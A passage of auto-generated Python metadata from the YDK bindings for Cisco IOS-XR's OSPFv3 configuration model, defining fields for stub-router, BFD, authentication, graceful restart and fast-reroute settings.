},
'Ospfv3.Processes.Process.DefaultVrf.DistributeList.In_' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.DistributeList.In_',
False,
[
_MetaInfoClassMember('prefix-list', ATTRIBUTE, 'str' , None, None,
[], [],
''' Filter prefixes based on an IPv6 prefix-list
''',
'prefix_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'in',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.DistributeList' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.DistributeList',
False,
[
_MetaInfoClassMember('in', REFERENCE_CLASS, 'In_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.DistributeList.In_',
[], [],
''' Filter prefixes installed to RIB
''',
'in_',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-list',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.StubRouter.Rbit.OnStartup' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.StubRouter.Rbit.OnStartup',
False,
[
_MetaInfoClassMember('wait-for-bgp', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Wait until BGP converges (only applicable to
default VRF)
''',
'wait_for_bgp',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('wait-time', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'wait_time',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'on-startup',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.StubRouter.Rbit' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.StubRouter.Rbit',
False,
[
_MetaInfoClassMember('always', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Unconditionally enter stub router operational
state
''',
'always',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enabled stub router configuration mode
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('external-lsa', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Advertise external LSAs with modified metric in
stub router mode
''',
'external_lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('include-stub', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Advertise stub links with maximum metric in stub
router mode
''',
'include_stub',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-proc-migration', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_proc_migration',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-proc-restart', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_proc_restart',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-startup', REFERENCE_CLASS, 'OnStartup' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.StubRouter.Rbit.OnStartup',
[], [],
''' Enter stub router operational state on startup
''',
'on_startup',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-switchover', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_switchover',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('summary-lsa', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Advertise summary LSAs with modified metric in
stub router mode
''',
'summary_lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'rbit',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.StubRouter.V6Bit.OnStartup' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.StubRouter.V6Bit.OnStartup',
False,
[
_MetaInfoClassMember('wait-for-bgp', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Wait until BGP converges (only applicable to
default VRF)
''',
'wait_for_bgp',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('wait-time', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'wait_time',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'on-startup',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.StubRouter.V6Bit' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.StubRouter.V6Bit',
False,
[
_MetaInfoClassMember('always', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Unconditionally enter stub router operational
state
''',
'always',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enabled stub router configuration mode
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('external-lsa', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Advertise external LSAs with modified metric in
stub router mode
''',
'external_lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('include-stub', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Advertise stub links with maximum metric in stub
router mode
''',
'include_stub',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-proc-migration', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_proc_migration',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-proc-restart', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_proc_restart',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-startup', REFERENCE_CLASS, 'OnStartup' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.StubRouter.V6Bit.OnStartup',
[], [],
''' Enter stub router operational state on startup
''',
'on_startup',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-switchover', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_switchover',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('summary-lsa', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Advertise summary LSAs with modified metric in
stub router mode
''',
'summary_lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'v6bit',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.StubRouter.MaxMetric.OnStartup' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.StubRouter.MaxMetric.OnStartup',
False,
[
_MetaInfoClassMember('wait-for-bgp', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Wait until BGP converges (only applicable to
default VRF)
''',
'wait_for_bgp',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('wait-time', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'wait_time',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'on-startup',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.StubRouter.MaxMetric' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.StubRouter.MaxMetric',
False,
[
_MetaInfoClassMember('always', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Unconditionally enter stub router operational
state
''',
'always',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enabled stub router configuration mode
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('external-lsa', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Advertise external LSAs with modified metric in
stub router mode
''',
'external_lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('include-stub', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Advertise stub links with maximum metric in stub
router mode
''',
'include_stub',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-proc-migration', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_proc_migration',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-proc-restart', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_proc_restart',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-startup', REFERENCE_CLASS, 'OnStartup' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.StubRouter.MaxMetric.OnStartup',
[], [],
''' Enter stub router operational state on startup
''',
'on_startup',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('on-switchover', ATTRIBUTE, 'int' , None, None,
[('5', '86400')], [],
''' Time (in seconds) to stay in stub router
operational state
''',
'on_switchover',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('summary-lsa', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Advertise summary LSAs with modified metric in
stub router mode
''',
'summary_lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'max-metric',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.StubRouter' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.StubRouter',
False,
[
_MetaInfoClassMember('max-metric', REFERENCE_CLASS, 'MaxMetric' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.StubRouter.MaxMetric',
[], [],
''' Stub router max-metric configuration
''',
'max_metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('rbit', REFERENCE_CLASS, 'Rbit' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.StubRouter.Rbit',
[], [],
''' Stub router R-bit configuration
''',
'rbit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('v6bit', REFERENCE_CLASS, 'V6Bit' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.StubRouter.V6Bit',
[], [],
''' Stub router V6-bit configuration
''',
'v6bit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'stub-router',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Bfd' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Bfd',
False,
[
_MetaInfoClassMember('detection-multiplier', ATTRIBUTE, 'int' , None, None,
[('2', '50')], [],
''' Detect multiplier
''',
'detection_multiplier',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-detect-mode', REFERENCE_ENUM_CLASS, 'Ospfv3BfdEnableModeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3BfdEnableModeEnum',
[], [],
''' Enable or disable BFD fast detection
''',
'fast_detect_mode',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interval', ATTRIBUTE, 'int' , None, None,
[('3', '30000')], [],
''' Hello interval in milli-seconds
''',
'interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'bfd',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.DatabaseFilter.All' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.DatabaseFilter.All',
False,
[
_MetaInfoClassMember('out', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable out
''',
'out',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'all',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.DatabaseFilter' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.DatabaseFilter',
False,
[
_MetaInfoClassMember('all', REFERENCE_CLASS, 'All' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.DatabaseFilter.All',
[], [],
''' All
''',
'all',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'database-filter',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.GracefulRestart' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.GracefulRestart',
False,
[
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable graceful restart
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('helper', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Disable router's helper support
''',
'helper',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interval', ATTRIBUTE, 'int' , None, None,
[('90', '3600')], [],
''' Minimum interval between graceful restarts
(seconds)
''',
'interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('lifetime', ATTRIBUTE, 'int' , None, None,
[('90', '1800')], [],
''' Maximum route lifetime following restart
(seconds)
''',
'lifetime',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('strict-lsa-checking', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Terminate graceful restart helper mode if LSA
changed
''',
'strict_lsa_checking',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'graceful-restart',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.DefaultInformation.Originate' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.DefaultInformation.Originate',
False,
[
_MetaInfoClassMember('always', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Always advertise default route
''',
'always',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric', ATTRIBUTE, 'int' , None, None,
[('0', '16777214')], [],
''' OSPFv3 default metric
''',
'metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric-type', ATTRIBUTE, 'int' , None, None,
[('1', '2')], [],
''' OSPFv3 metric type for default routes
''',
'metric_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('route-policy-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Route policy to default-information
origination
''',
'route_policy_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('tag', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Tag for default route
''',
'tag',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'originate',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.DefaultInformation' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.DefaultInformation',
False,
[
_MetaInfoClassMember('originate', REFERENCE_CLASS, 'Originate' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.DefaultInformation.Originate',
[], [],
''' Distribute a default route
''',
'originate',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'default-information',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerLink.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerLink.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerLink.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerLink.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerLink',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerLink.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerLink.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerPrefix.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerPrefix.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
